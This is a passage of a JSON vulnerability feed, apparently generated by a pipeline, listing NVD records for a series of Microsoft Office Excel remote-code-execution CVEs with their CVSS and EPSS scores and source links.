does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97773","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97773","type":"primary","publishedAt":"2026-10-13T19:22:15.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97773","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97772","cveId":"CVE-2026-97772","aliases":[],"kind":"vulnerability","title":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.107Z","updatedAt":"2026-10-15T21:19:31.490Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97772","asOf":"2026-10-15T21:19:31.490Z"},"epss":{"probability":0.00841,"percentile":0.57618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97772","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97772","type":"primary","publishedAt":"2026-10-13T19:22:15.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97772","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97772, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97771","cveId":"CVE-2026-97771","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.983Z","updatedAt":"2026-10-15T21:19:31.363Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97771","asOf":"2026-10-15T21:19:31.363Z"},"epss":{"probability":0.00743,"percentile":0.54416,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97771","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97771","type":"primary","publishedAt":"2026-10-13T19:22:14.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97771","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97770","cveId":"CVE-2026-97770","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.863Z","updatedAt":"2026-10-15T21:19:31.233Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97770","asOf":"2026-10-15T21:19:31.233Z"},"epss":{"probability":0.00743,"percentile":0.54417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97770","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97770","type":"primary","publishedAt":"2026-10-13T19:22:14.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97770","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97769","cveId":"CVE-2026-97769","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.740Z","updatedAt":"2026-10-15T21:19:31.103Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97769","asOf":"2026-10-15T21:19:31.103Z"},"epss":{"probability":0.00901,"percentile":0.59425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97769","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97769","type":"primary","publishedAt":"2026-10-13T19:22:14.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97769","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97768","cveId":"CVE-2026-97768","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.617Z","updatedAt":"2026-10-15T21:19:30.980Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97768","asOf":"2026-10-15T21:19:30.980Z"},"epss":{"probability":0.00859,"percentile":0.58194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97768","type":"primary","publishedAt":"2026-10-13T19:22:14.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97768","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97767","cveId":"CVE-2026-97767","aliases":[],"kind":"vulnerability","title":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.487Z","updatedAt":"2026-10-15T21:19:30.860Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97767","asOf":"2026-10-15T21:19:30.860Z"},"epss":{"probability":0.00601,"percentile":0.48476,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97767","type":"primary","publishedAt":"2026-10-13T19:22:14.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97767","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97766","cveId":"CVE-2026-97766","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.363Z","updatedAt":"2026-10-15T21:19:30.730Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97766","asOf":"2026-10-15T21:19:30.730Z"},"epss":{"probability":0.00758,"percentile":0.54936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97766","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97766","type":"primary","publishedAt":"2026-10-13T19:22:14.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97766","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97765","cveId":"CVE-2026-97765","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.240Z","updatedAt":"2026-10-15T21:19:30.600Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97765","asOf":"2026-10-15T21:19:30.600Z"},"epss":{"probability":0.0082,"percentile":0.57003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97765","type":"primary","publishedAt":"2026-10-13T19:22:14.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97765","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97763","cveId":"CVE-2026-97763","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:14.117Z","updatedAt":"2026-10-15T21:19:30.467Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97763","asOf":"2026-10-15T21:19:30.467Z"},"epss":{"probability":0.00859,"percentile":0.58194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97763","type":"primary","publishedAt":"2026-10-13T19:22:14.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97763","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97762","cveId":"CVE-2026-97762","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.990Z","updatedAt":"2026-10-15T21:19:30.350Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97762","asOf":"2026-10-15T21:19:30.350Z"},"epss":{"probability":0.00859,"percentile":0.58192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97762","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97762","type":"primary","publishedAt":"2026-10-13T19:22:13.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97762","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97761","cveId":"CVE-2026-97761","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:13.853Z","updatedAt":"2026-10-15T21:19:30.237Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97761","asOf":"2026-10-15T21:19:30.237Z"},"epss":{"probability":0.0082,"percentile":0.57003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97761","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97761","type":"primary","publishedAt":"2026-10-13T19:22:13.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97761","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97759","cveId":"CVE-2026-97759","aliases":[],"kind":"vulnerability","title":"Use after free in 